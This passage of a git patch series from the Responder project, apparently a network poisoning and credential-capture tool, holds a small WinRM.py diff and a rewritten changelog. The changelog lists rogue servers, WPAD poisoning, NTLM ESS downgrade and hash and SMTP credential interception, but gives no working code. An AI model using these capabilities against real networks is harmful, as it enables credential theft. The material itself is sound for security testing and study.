settings.Config.HTTP_On_Off: from servers.HTTP import HTTP From 4b560f6e17493dcfc6bf653d0ebe0547a88735ac Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 20:44:13 -0300 Subject: [PATCH 193/219] removed debug string --- servers/WinRM.py | 1 - 1 file changed, 1 deletion(-) diff --git a/servers/WinRM.py b/servers/WinRM.py index dcdd013..bf730e4 100644 --- a/servers/WinRM.py +++ b/servers/WinRM.py @@ -180,6 +180,5 @@ class WinRM(BaseRequestHandler): except: self.request.close() - raise pass From 66e5b12c5686f4d00820694acbee5c5cbff83ba9 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Jan 2024 07:15:50 -0300 Subject: [PATCH 194/219] Updated changelog --- CHANGELOG.md | 1091 +++++++++++++++++++++++++++++++------------------- 1 file changed, 668 insertions(+), 423 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 99f2880..e01edf2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,424 +1,669 @@ -*In compliance with the [GPL-3.0](https://opensource.org/licenses/GPL-3.0) license: I declare that this version of the program contains my modifications, which can be seen through the usual "git" mechanism.* - - -2022-08 -Contributor(s): -lgandx ->Added: append .local TLD to DontRespondToNames + MDNS bug fix ->Merge pull request #199 from gblomqvist/masterFix double logging of first hash/cleartext when CaptureMultipleHashFromSameHost = On ->Modified wpad script ->fixed the RespondTo/DontRespondTo issue ->Merge pull request #210 from 0xjbb/masterAdded Quiet Mode -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2022-07 -Contributor(s): -jb -lgandx ->Minor bugs and display/logging fixes + RDP srv SSLwrapping fix ->Fixed: Warnings on python 3.10 ->Added Quiet mode -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2022-05 -Contributor(s): -lgandx ->removed -r reference from help msg. ->removed -r references -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2022-04 -Contributor(s): -Gustaf Blomqvist ->Fix double logging of first hash or cleartext -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2022-02 -Contributor(s): -Tom Aviv -Andrii Nechytailov -kitchung -lgandx ->Merge pull request #190 from kitchung/kitchung-patch-1DE-RPC server status not correct ->DE-RPC server status not correct #189Line 512 should read: -print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) - -Instead of: -print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled)) ->MutableMapping was moved to collections.abc ->Merge pull request #191 from Mipsters/masterMutableMapping was moved to collections.abc ->Fixed options formating in README ->Merge pull request #188 from Ne4istb/patch-1Fixed options formating in README -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2022-01 -Contributor(s): -lgandx -root ->Updated the README and Responder help flags ->Merge pull request #185 from ajkerley628/masterUpdated the README and Responder help flags -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-12 -Contributor(s): -lgandx ->Added IPv6 support ->Updated the Readme file with the new options and removed some old stuff ->Added date and time for each Responder session config log. ->Remove analyze mode on DNS since you need to ARP to get queries ->Removed the static certs and added automatic cert generation ->added DHCP db & updated the report script to reflect that ->Added DHCP DNS vs WPAD srv injection ->Merge pull request #136 from ghost/patch-2Correct Analyze log filename ->added support for OPT EDNS ->Added DHCP DNS vs DHCP WPAD ->Fixed the ON/OFF for poisoners when in Analyze mode. ->minor display fix. ->added the ability to provide external IP on WPAD poison via DHCP -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-11 -Contributor(s): -lgandx ->DHCP: Added auto WPADscript configuration with our IP instead of hardcoded NBT string -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-10 -Contributor(s): -lgandx ->Added DHCP server -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-05 -Contributor(s): -Pixis -lgandx -pixis ->minor fix ->Add ESS disabling information ->Add --lm switch for ESS downgrade ->Add ESS downgrade parameter ->Merge pull request #163 from Hackndo/masterAdd ESS downgrade parameter -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-04 -Contributor(s): -lgandx ->forgot to add packets.py ->Added WinRM rogue server ->Added dce-rpc module + enhancements + bug fix. ->removed addiontional RR on SRV answers ->Update README.md ->Update README.mdAdded Synacktiv as major donor. ->Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-03 -Contributor(s): -lgandx ->Removed donation banner ->minor fix ->Ported to py3 ->added a check for exec file ->made compatible py2/py3 -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-02 -Contributor(s): -lgandx ->added donation address and minor typo ->Added donation banner. ->added smb filetime support -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-12 -Contributor(s): -lgandx ->Merge pull request #145 from khiemdoan/fix-syntaxFix wrong syntax ->Merge pull request #135 from LabanSkollerDefensify/patch-1Fix typos in README ->Added SMB2 support for RunFinger and various other checks. ->Merge pull request #138 from ThePirateWhoSmellsOfSunflowers/fix_challengefix custom challenge in python3 -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-11 -Contributor(s): -Khiem Doan ->Fix wrong syntax -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-10 -Contributor(s): -ThePirateWhoSmellsOfSunflowers ->small fix ->fix custom challenge in python3 -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-09 -Contributor(s): -nickyb -Laban Sköllermark -lgandx ->Merge pull request #133 from NickstaDB/fix-bind-addressUse settings.Config.Bind_To as bind address. ->Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface ->Fix typos in README* Missing "is" in description of the tool -* s/an unique/a unique/ since it starts with a consonant sound -* Move a word to its correct place ->Correct Analyze log filenameThe default filename for Analyze logs is Analyzer-Session.log, not -Analyze-Session.log. ->Use settings.Config.Bind_To as bind address. -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-08 -Contributor(s): -lgandx ->python3.8 compability fix ->py3 bugfix ->version update -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-02 -Contributor(s): -lgandx -Sophie Brun ->Fix encoding issue in Python 3 ->Merge pull request #117 from sbrun/masterFix encoding issue in Python 3 -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-01 -Contributor(s): -lgandx ->Added py3 and py2 compatibility + many bugfix -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2019-08 -Contributor(s): -lgandx ->Added RDP rogue server -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2019-05 -Contributor(s): -lgandx ->Merge pull request #92 from Crypt0-M3lon/masterFix socket timeout on HTTP POST requests -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2019-02 -Contributor(s): -Crypt0-M3lon ->Fix socket timeout on HTTP POST requestsRemaining size should be checked at the end of the loop, the current implementation hang when POST request Content-Lenght is 0. -We want to check for Content-Length header only if we received full header. ->Merge pull request #1 from Crypt0-M3lon/Crypt0-M3lon-patch-1Fix socket timeout on HTTP POST requests -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2019-01 -Contributor(s): -Clément Notin -lgandx ->Merge pull request #89 from cnotin/patch-1Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2 ->Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2 -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2018-11 -Contributor(s): -lgandx ->removed debug string ->Merge pull request #86 from mschader/patch-1Update README.md: Fix typo -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2018-10 -Contributor(s): -Markus ->Update README.md: Fix typoFixed just a tiny typo. -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2018-08 -Contributor(s): -Clément Notin -lgandx ->Fix version number in settings.py ->Fix multi HTTP responses ->Merge pull request #83 from cnotin/patch-2Fix multi HTTP responses ->Merge pull request #80 from myst404/masterBetter handling of cleartext credentials ->Merge pull request #82 from cnotin/patch-1Fix version number in settings.py -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2018-06 -Contributor(s): -myst404 ->Better handling of cleartext credentials -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-11 -Contributor(s): -Lionel PRAT -lgandx ->Add ignore case on check body for html inject ->Merge pull request #67 from lprat/masterAdd ignore case on check body for html inject ->Merge pull request #51 from watersalesman/masterFixed instances of "CRTL-C" to "CTRL-C" -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-09 -Contributor(s): -lgandx ->Changed the complete LDAP parsing hash algo (ntlmv2 bug). ->Fixed various bugs and improved the LDAP module. ->Several Bugfix ->added support for plain auth -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-08 -Contributor(s): -OJ -lgandx ->Pass Challenge value to the LDAP parsing function ->Merge pull request #61 from OJ/fix-ldap-hash-parsingPass Challenge value to the LDAP parsing function -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-07 -Contributor(s): -lgandx ->Merge pull request #58 from megabug/mssql-browserAdd Microsoft SQL Server Browser responder -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-06 -Contributor(s): -Matthew Daley ->Add Microsoft SQL Server Browser responderWhen connecting to a named instance, a SQL client (at least SQL ServerNative Client) will send a request (namely a CLNT_UCAST_INST message) tothe server's SQL Server Browser service for instance connectioninformation. If it gets no response, the connection attempt fails.By adding a SQL Server Browser responder for these requests, we ensurethat connections are successfully made to the SQL Server responder forhash capture.As per the comment, this is based on the document "[MC-SQLR]: SQL ServerResolution Protocol", currently available at. ->Update README.md with new SQL Browser port usage -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-04 -Contributor(s): -Randy Ramos ->Fixed instances of "CRTL-C" to "CTRL-C" -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-03 -Contributor(s): -lgandx ->Fixed bug in FindSMB2UPTime ->Removed Paypal donation link. ->updated readme ->MultiRelay 2.0 Release -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-02 -Contributor(s): -skelsec -lgandx -Gifts ->Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string ->minor fix ->Merge pull request #25 from joshuaskorich/masteradded `ip` commands in addition to ifconfig and netstat ->SimpleSSL ->making HTTP great again ->Merge pull request #32 from Gifts/fix_randchallengeFix for RandomChallenge function. ->cleaning up comments ->Added: Hashdump, Stats report ->fixed crash: typo. ->Merge pull request #33 from skelsec/masterFixing HTTP header issue -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-01 -Contributor(s): -thejosko -lgandx ->Added: Random challenge for each requests (default) ->added `ip` commands in addition to ifconfig and netstat -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2016-12 -Contributor(s): -lgandx ->Added paypal button -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2016-11 -Contributor(s): -lgandx ->Added: BTC donation address -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2016-10 -Contributor(s): -Nikos Vassakis -lgandx ->Fixed wrong challenge issue ->Fixed the bind to interface issue (https://github.com/lgandx/Responder/issues/6) ->Changed to executable ->fixed bug in hash parsing. ->updated version number ->Patch for Android 4.x terminals that are missing some linux commands ->Fix values for win98 and win10 (requested here: https://github.com/lgandx/Responder/pull/7/commits/d9d34f04cddbd666865089d809eb5b3d46dd9cd4) ->Updated versions ->Minor fix ->Merge pull request #14 from nvssks/masterPatch for Android 4.x terminals that are missing some linux commands ->updated to current version. -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2016-09 -Contributor(s): -lgaffie -lgandx ->bug: removed loop, while connection handled by basehttpserver ->updated version ->Added proxy auth server + various fixes and improvements ->Added SMBv2 support enabled by default. ->minor fix ->Added support for webdav, auto credz. ->Added current date for all HTTP headers, avoiding easy detection ->removed debug info ->Added option -e, specify an external IP address to redirect poisoned traffic to. ->Config dumped independently. Responder-Session.log is now a clean file. ->Reflected recent changes. ->Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump ->minor bug fix ->Fixed colors in log files ->Firefox blacklisted on WPAD since it doesn't honors fail-over proxies. Added SO_LINGER to send RST when close() is called. ->Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On. ->minor fixes ->Minor fixes ->Removed useless HTTP headers ->Minor fix -- - - - - - - - - - - - - - - - - - - - - - - - - - - +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) +and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). + + +## Unreleased + +[Compare with latest](https://github.com/lgandx/Responder/compare/v3.1.4.0...HEAD) + +### Removed + +- removed debug string ([4b560f6](https://github.com/lgandx/Responder/commit/4b560f6e17493dcfc6bf653d0ebe0547a88735ac) by lgandx). +- removed bowser listener ([e564e51](https://github.com/lgandx/Responder/commit/e564e5159b9a1bfe3c5f1101b3ab11672e0fd46b) by lgandx). + + +## [v3.1.4.0](https://github.com/lgandx/Responder/releases/tag/v3.1.4.0) - 2024-01-04 + +[Compare with v3.1.3.0](https://github.com/lgandx/Responder/compare/v3.1.3.0...v3.1.4.0) + +### Added + +- added LDAPS listener ([6d61f04](https://github.com/lgandx/Responder/commit/6d61f0439c1779767c9ea9840ac433ed98e672cd) by exploide). +- added:error handling on exceptions. ([f670fba](https://github.com/lgandx/Responder/commit/f670fbaa7fcd3b072aef7cf29f43c1d76d6f13bf) by lgandx). +- Added full path to gen-self-sign-cert.sh ([69f431e](https://github.com/lgandx/Responder/commit/69f431e58f07c231e75a73b0782855e9277573ac) by kevintellier). +- add flag (-s) to enable smbv1scan ([cf0c4ee](https://github.com/lgandx/Responder/commit/cf0c4ee659779c027374155716f09b13cb41abb5) by requin). +- add hostname on smbv2 scan result ([709df2c](https://github.com/lgandx/Responder/commit/709df2c6e18ec2fa6647fdaaa4d9f9e2cb7920f8) by requin). +- Added dump by legacy protocols ([b8818ed](https://github.com/lgandx/Responder/commit/b8818ed0c47d9d615c4ba1dcff99e8d2d98296d5) by lgandx). +- added requirements.txt ([00d9d27](https://github.com/lgandx/Responder/commit/00d9d27089d8f02658b08f596d28d1722c276d57) by lgandx). +- Added: append .local TLD to DontRespondToNames + MDNS bug fix ([0bc226b](https://github.com/lgandx/Responder/commit/0bc226b4beaa84eb3ac26f5d563959ccf567262b) by lgandx). +- Added Quiet mode ([2cd66a9](https://github.com/lgandx/Responder/commit/2cd66a9b92aa6ca2b7fba0fea03b0a285c186683) by jb). + +### Fixed + +- Fixed issue in http srv, more hashes & signature reduction. ([66ee7f8](https://github.com/lgandx/Responder/commit/66ee7f8f08f57926f5b3694ffb9e87619eee576f) by lgandx). +- fixed a TypeError in MSSQLBrowser ([20cdd9c](https://github.com/lgandx/Responder/commit/20cdd9c7c23e620e3d530f76003b94407882e9cd) by exploide). +- fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+ ([e9bd8a4](https://github.com/lgandx/Responder/commit/e9bd8a43ef353a03ba9195236a3aa5faf3788faa) by exploide). +- fixed minor bug on py 3.10 ([31393c7](https://github.com/lgandx/Responder/commit/31393c70726206fc1056f76ef6b81a981d7954c5) by lgandx). +- fixed HTTP basic auth parsing when password contains colons ([dc33d1f](https://github.com/lgandx/Responder/commit/dc33d1f858e9bbc58ae8edf030dbfee208d748f1) by exploide). +- Fixing soft failure which results in missed SMTP credential interception ([34603ae](https://github.com/lgandx/Responder/commit/34603aed0aadfe3c3625ea729cbc9dc0f06e7e73) by Syntricks). +- Fixing collections import issue for /tools/MultiRelay/odict.py ([aa8d818](https://github.com/lgandx/Responder/commit/aa8d81861bcdfc3dbf253b617ec044fd4807e9d4) by Shutdown). +- Fixing import issue like in /tools/odict.py ([2c4cadb](https://github.com/lgandx/Responder/commit/2c4cadbf7dec6e26ec2494a0cfde38655f5bebaf) by Shutdown). +- fix typo of ServerTlype ([0c80b76](https://github.com/lgandx/Responder/commit/0c80b76f5758dfae86bf4924a49b29c31e2e77f8) by deltronzero). +- Fixed potential disruption on Proxy-Auth ([c51251d](https://github.com/lgandx/Responder/commit/c51251db5ff311743238b1675d52edb7c6849f00) by lgandx). +- fixed the RespondTo/DontRespondTo issue ([2765ef4](https://github.com/lgandx/Responder/commit/2765ef4e668bc3493924aae5032e3ec63078ac42) by lgandx). + +### Removed + +- removed patreon donation link. ([700b7d6](https://github.com/lgandx/Responder/commit/700b7d6222afe3c1d6fb17a0a522e1166e6ad025) by lgandx). +- removed useless string ([08e44d7](https://github.com/lgandx/Responder/commit/08e44d72acd563910c153749b3c204ce0304bdd1) by lgandx). +- removed debug ([4ea3d7b](https://github.com/lgandx/Responder/commit/4ea3d7b76554dee5160aaf76a0235074590284f8) by lgandx). +- Removed Patreon link ([8e12d2b](https://github.com/lgandx/Responder/commit/8e12d2bcfe11cc23e35ea678b9e4979856183d0e) by lgandx). +- Removed machine accounts dump, since they are not crackable ([c9b5dd0](https://github.com/lgandx/Responder/commit/c9b5dd040e27de95638b33da7a35e5187efb4aac) by lgandx). + +## [v3.1.3.0](https://github.com/lgandx/Responder/releases/tag/v3.1.3.0) - 2022-07-26 + +[Compare with v3.1.2.0](https://github.com/lgandx/Responder/compare/v3.1.2.0...v3.1.3.0) + +### Fixed + +- Fixed: Warnings on python 3.10 ([9b1c99c](https://github.com/lgandx/Responder/commit/9b1c99ccd29890496b0194c061266997e28be4c0) by lgandx). +- Fix missing paren error ([0c7a3ff](https://github.com/lgandx/Responder/commit/0c7a3ffabeee77cb9f3d960168a357e9583b2f9f) by cweedon). +- Fix double logging of first hash or cleartext ([e7eb3bc](https://github.com/lgandx/Responder/commit/e7eb3bcce85c5d437082214c0e8044919cccee56) by Gustaf Blomqvist). + +### Removed + +- removed -r reference from help msg. ([983a1c6](https://github.com/lgandx/Responder/commit/983a1c6576cb7dfe6cabea93e56dc4f2c557621b) by lgandx). +- removed -r references ([03fa9a7](https://github.com/lgandx/Responder/commit/03fa9a7187c80586629c58a297d0d78f2f8da559) by lgandx). + +## [v3.1.2.0](https://github.com/lgandx/Responder/releases/tag/v3.1.2.0) - 2022-02-12 + +[Compare with v3.1.1.0](https://github.com/lgandx/Responder/compare/v3.1.1.0...v3.1.2.0) + +### Added + +- added support for OPT EDNS ([5cf6922](https://github.com/lgandx/Responder/commit/5cf69228cf5ce4c0433904ee1d05955e8fd6f618) by lgandx). + +### Fixed + +- Fixed options formating in README ([f85ad77](https://github.com/lgandx/Responder/commit/f85ad77d595f5d79b86ddce843bc884f1ff4ac9e) by Andrii Nechytailov). + +## [v3.1.1.0](https://github.com/lgandx/Responder/releases/tag/v3.1.1.0) - 2021-12-17 + +[Compare with v3.0.9.0](https://github.com/lgandx/Responder/compare/v3.0.9.0...v3.1.1.0) + +### Added + +- Added IPv6 support ([5d4510c](https://github.com/lgandx/Responder/commit/5d4510cc1d0479b13ece9d58ea60d187daf8cdab) by lgandx). +- added: dhcp inform ([3e8c9fd](https://github.com/lgandx/Responder/commit/3e8c9fdb0eceb3eb1f7c6dbc81502b340a5ca152) by lgandx). +- Added DHCP DNS vs DHCP WPAD ([76f6c88](https://github.com/lgandx/Responder/commit/76f6c88df31bbd59dc6dceba1b59251012e45f81) by lgandx). +- Added DHCP DNS vs WPAD srv injection ([9dc7798](https://github.com/lgandx/Responder/commit/9dc779869b5a47fdf26cf79a727ea4a853f0d129) by lgandx). +- Added date and time for each Responder session config log. ([bb17595](https://github.com/lgandx/Responder/commit/bb17595e3fc9fafa58c8979bebc395ed872ef598) by lgandx). + +### Removed + +- removed fingerprint.py ([0b56d6a](https://github.com/lgandx/Responder/commit/0b56d6aaeb00406b364cf152b258365393d64ccc) by lgandx). + +## [v3.0.9.0](https://github.com/lgandx/Responder/releases/tag/v3.0.9.0) - 2021-12-10 + +[Compare with v3.0.8.0](https://github.com/lgandx/Responder/compare/v3.0.8.0...v3.0.9.0) + +### Added + +- added the ability to provide external IP on WPAD poison via DHCP ([ba885b9](https://github.com/lgandx/Responder/commit/ba885b9345024809555d1a2c1f8cc463870602bb) by lgandx). +- Added a check for MSSQL ([5680487](https://github.com/lgandx/Responder/commit/568048710f0cf5c04c53fd8e026fdd1b3f5c16e6) by lgandx). + +### Fixed + +- Fixed the ON/OFF for poisoners when in Analyze mode. ([3cd5140](https://github.com/lgandx/Responder/commit/3cd5140c800d8f4e9e8547e4137cafe33fc2f066) by lgandx). + +### Removed + +- Remove analyze mode on DNS since you need to ARP to get queries ([17e62bd](https://github.com/lgandx/Responder/commit/17e62bda1aed4884c1f08e514faba8c1e39b36ad) by lgandx). + +## [v3.0.8.0](https://github.com/lgandx/Responder/releases/tag/v3.0.8.0) - 2021-12-03 + +[Compare with v3.0.7.0](https://github.com/lgandx/Responder/compare/v3.0.7.0...v3.0.8.0) + +### Added + +- Added DB for RunFinger results & Report ([f90b76f](https://github.com/lgandx/Responder/commit/f90b76fed202ee4a6e17a030151c8de4430717a8) by lgandx). +- added timeout option for fine tuning ([a462d1d](https://github.com/lgandx/Responder/commit/a462d1df061b214eebcabdbe3f95caa5dd8ea3c7) by lgandx). +- added DHCP db & updated the report script to reflect that ([1dfa997](https://github.com/lgandx/Responder/commit/1dfa997da8c0fa1e51a1be30b2a3d5f5d92f4b7f) by lgandx). +- Added support for single IP or range file. ([02fb3f8](https://github.com/lgandx/Responder/commit/02fb3f8978286a486d633a707889ea8992a7f43a) by lgandx). + +### Fixed + +- fix: DHCP now working on VPN interface ([88a2c6a](https://github.com/lgandx/Responder/commit/88a2c6a53b721da995fbbd8e5cd82fb40d4af268) by lgandx). +- Fixed a bug and increased speed. ([1b2a22f](https://github.com/lgandx/Responder/commit/1b2a22facfd54820cc5f8ebba06f5cd996e917dc) by lgandx). + +### Removed + +- Removed old DHCP script since its now a Responder module. ([d425783](https://github.com/lgandx/Responder/commit/d425783be994b0d2518633e4b93e13e305685e5b) by lgandx). +- removed default certs ([de778f6](https://github.com/lgandx/Responder/commit/de778f66982817f1149408bc2e080371d3d4a71d) by lgandx). +- Removed the static certs and added automatic cert generation ([21afd35](https://github.com/lgandx/Responder/commit/21afd357f828b586cfa96992c8c978024285b162) by lgandx). +- removed debug str ([826b5af](https://github.com/lgandx/Responder/commit/826b5af9e2e37d50afdd3eb3ee66121e6c81c2a2) by lgandx). + +## [v3.0.7.0](https://github.com/lgandx/Responder/releases/tag/v3.0.7.0) - 2021-10-26 + +[Compare with v3.0.6.0](https://github.com/lgandx/Responder/compare/v3.0.6.0...v3.0.7.0) + +### Added + +- Added DHCP server ([c449b6b](https://github.com/lgandx/Responder/commit/c449b6bcb990959e352967b3842b09978b9b2729) by lgandx). +- Add --lm switch for ESS downgrade ([dcb80d9](https://github.com/lgandx/Responder/commit/dcb80d992e385a0f0fdd3f724a0b040a42439306) by Pixis). +- Add ESS disabling information ([51f8ab4](https://github.com/lgandx/Responder/commit/51f8ab43682973df32534ca97c99fb1318a0c77d) by Pixis). +- Add ESS downgrade parameter ([baf80aa](https://github.com/lgandx/Responder/commit/baf80aa4f0e1aaf9ee81ffe6b0b5089d39f42516) by pixis). + +### Fixed + +- fixed minor isse ([350058c](https://github.com/lgandx/Responder/commit/350058c1795e43c23950b6bd23c33f45795ec7cc) by lgandx). + +## [v3.0.6.0](https://github.com/lgandx/Responder/releases/tag/v3.0.6.0) - 2021-04-19 + +[Compare with v3.0.5.0](https://github.com/lgandx/Responder/compare/v3.0.5.0...v3.0.6.0) + +### Added + +- Added WinRM rogue server ([8531544](https://github.com/lgandx/Responder/commit/85315442bd010dd61fcb62de8d6ca9cc969426ba) by lgandx). + +## [v3.0.5.0](https://github.com/lgandx/Responder/releases/tag/v3.0.5.0) - 2021-04-17 + +[Compare with v3.0.4.0](https://github.com/lgandx/Responder/compare/v3.0.4.0...v3.0.5.0) + +### Added + +- Added dce-rpc module + enhancements + bug fix. ([e91e37c](https://github.com/lgandx/Responder/commit/e91e37c9749f58330e0d68ce062a48b100a2d09e) by lgandx). + +### Removed + +- removed addiontional RR on SRV answers ([027e6b9](https://github.com/lgandx/Responder/commit/027e6b95c3ca89367cb5123758c2fc29aba27a59) by lgandx). + +## [v3.0.4.0](https://github.com/lgandx/Responder/releases/tag/v3.0.4.0) - 2021-04-12 + +[Compare with v3.0.3.0](https://github.com/lgandx/Responder/compare/v3.0.3.0...v3.0.4.0) + +### Added + +- Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping ([1271b8e](https://github.com/lgandx/Responder/commit/1271b8e17983bd3969d951ce2b4c9b75600f94b9) by lgandx). +- added a check for exec file ([cc3a5b5](https://github.com/lgandx/Responder/commit/cc3a5b5cfffbb8e7430030aa66a2981feae7fe85) by lgandx). +- Added donation banner. ([8104139](https://github.com/lgandx/Responder/commit/8104139a3535a49caf7ec0ed64e8e33ea686494f) by lgandx). +- added donation address and minor typo ([06f9f91](https://github.com/lgandx/Responder/commit/06f9f91f118b0729a74d3c1810a493886655e6f1) by lgandx). +- added smb filetime support ([b0f044f](https://github.com/lgandx/Responder/commit/b0f044fe4e710597ae73e6f1af87ea246b0cd365) by lgandx). + +### Removed + +- removed FindSMB2UPTime.py since RunFinger already get this info ([6c51080](https://github.com/lgandx/Responder/commit/6c51080109fd8c9305021336c0dc8c72e01b5541) by lgandx). +- Removed MultiRelay binaries ([35b12b4](https://github.com/lgandx/Responder/commit/35b12b48323b1960960aba916334635d5a590875) by lgandx). +- Removed BindShell executable file ([5d762c4](https://github.com/lgandx/Responder/commit/5d762c4a550f2c578f4d7874f24563240276852d) by lgandx). +- Removed donation banner ([ccee87a](https://github.com/lgandx/Responder/commit/ccee87aa95f2ec16827592ba9d98c4895cec0cb9) by lgandx). +- removed verification ([dd1a674](https://github.com/lgandx/Responder/commit/dd1a67408081c94490a3263c46b2eb0b6107e542) by lgandx). + +## [v3.0.3.0](https://github.com/lgandx/Responder/releases/tag/v3.0.3.0) - 2021-02-08 + +[Compare with v3.0.2.0](https://github.com/lgandx/Responder/compare/v3.0.2.0...v3.0.3.0) + +### Added + +- Added support for SMB2 signing ([24e7b7c](https://github.com/lgandx/Responder/commit/24e7b7c667c3c9feb1cd3a25b16bd8d9c2df5ec6) by lgandx). +- Added SMB2 support for RunFinger and various other checks. ([e24792d](https://github.com/lgandx/Responder/commit/e24792d7743dbf3a5c5ffac92113e36e5d682e42) by lgandx). + +### Fixed + +- Fix wrong syntax ([fb10d20](https://github.com/lgandx/Responder/commit/fb10d20ea387448ad084a57f5f4441c908fc53cc) by Khiem Doan). +- fix custom challenge in python3 ([7b47c8f](https://github.com/lgandx/Responder/commit/7b47c8fe4edcb53b035465985d92500b96fb1a84) by ThePirateWhoSmellsOfSunflowers). +- Fix typos in README ([12b796a](https://github.com/lgandx/Responder/commit/12b796a292b87be15ef8eec31cb276c447b9e8c8) by Laban Sköllermark). + +## [v3.0.2.0](https://github.com/lgandx/Responder/releases/tag/v3.0.2.0) - 2020-09-28 + +[Compare with v3.0.1.0](https://github.com/lgandx/Responder/compare/v3.0.1.0...v3.0.2.0) + +### Fixed + +- Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface ([af7d27a](https://github.com/lgandx/Responder/commit/af7d27ac8cb3c2b0664a8b0a11940c0f3c25c891) by lgandx). + +## [v3.0.1.0](https://github.com/lgandx/Responder/releases/tag/v3.0.1.0) - 2020-08-19 + +[Compare with v3.0.0.0](https://github.com/lgandx/Responder/compare/v3.0.0.0...v3.0.1.0) + +### Added + +- Added DNSUpdate.py, a small script to add DNS record to DC for gatering from different VLANs ([05617de](https://github.com/lgandx/Responder/commit/05617defefcd6954915d0b42d73d4ccfcccad2d4) by Sagar-Jangam). + +### Fixed + +- Fix encoding issue in Python 3 ([7420f62](https://github.com/lgandx/Responder/commit/7420f620825d5a5ae6dc68364a5680910f7f0512) by Sophie Brun). + +## [v3.0.0.0](https://github.com/lgandx/Responder/releases/tag/v3.0.0.0) - 2020-01-09 + +[Compare with v2.3.4.0](https://github.com/lgandx/Responder/compare/v2.3.4.0...v3.0.0.0) + +### Added + +- Added py3 and py2 compatibility + many bugfix ([b510b2b](https://github.com/lgandx/Responder/commit/b510b2bb2523a3fe24953ac685e697914a60b26c) by lgandx). + +## [v2.3.4.0](https://github.com/lgandx/Responder/releases/tag/v2.3.4.0) - 2019-08-17 + +[Compare with v2.3.3.9](https://github.com/lgandx/Responder/compare/v2.3.3.9...v2.3.4.0) + +### Added + +- Added RDP rogue server ([c52843a](https://github.com/lgandx/Responder/commit/c52843a5359a143c5a94a74c095d6ac4679cd4b1) by lgandx). +- Added proper changes to RunFinger (and is not checking for MS17-010 straight away) ([105502e](https://github.com/lgandx/Responder/commit/105502edd401615604e09a9a71a268252c82523d) by Paul A). + +### Fixed + +- Fix socket timeout on HTTP POST requests ([e7a787c](https://github.com/lgandx/Responder/commit/e7a787cbc4e01e92be6e062e94211dca644fae0c) by Crypt0-M3lon). +- fixed minor bugfix on recent merge ([38e721d](https://github.com/lgandx/Responder/commit/38e721da9826b95ed3599151559e8f8c535e4d6e) by lgandx). +- Fix multi HTTP responses ([defabfa](https://github.com/lgandx/Responder/commit/defabfa543f0b567d7e981003c7a00d7f02c3a16) by Clément Notin). +- Fix version number in settings.py ([621c5a3](https://github.com/lgandx/Responder/commit/621c5a3c125646c14db19fc48f30e4075102c929) by Clément Notin). +- Fixed some small typos in MS17-010 output ([daaf6f7](https://github.com/lgandx/Responder/commit/daaf6f7296ee754fe37b2382d0e459f7b6e74dcc) by Chris Maddalena). + +### Removed + +- removed debug string ([47e63ae](https://github.com/lgandx/Responder/commit/47e63ae4ec3266a35845d0bf116cf17fa0d17fd7) by lgandx). + +## 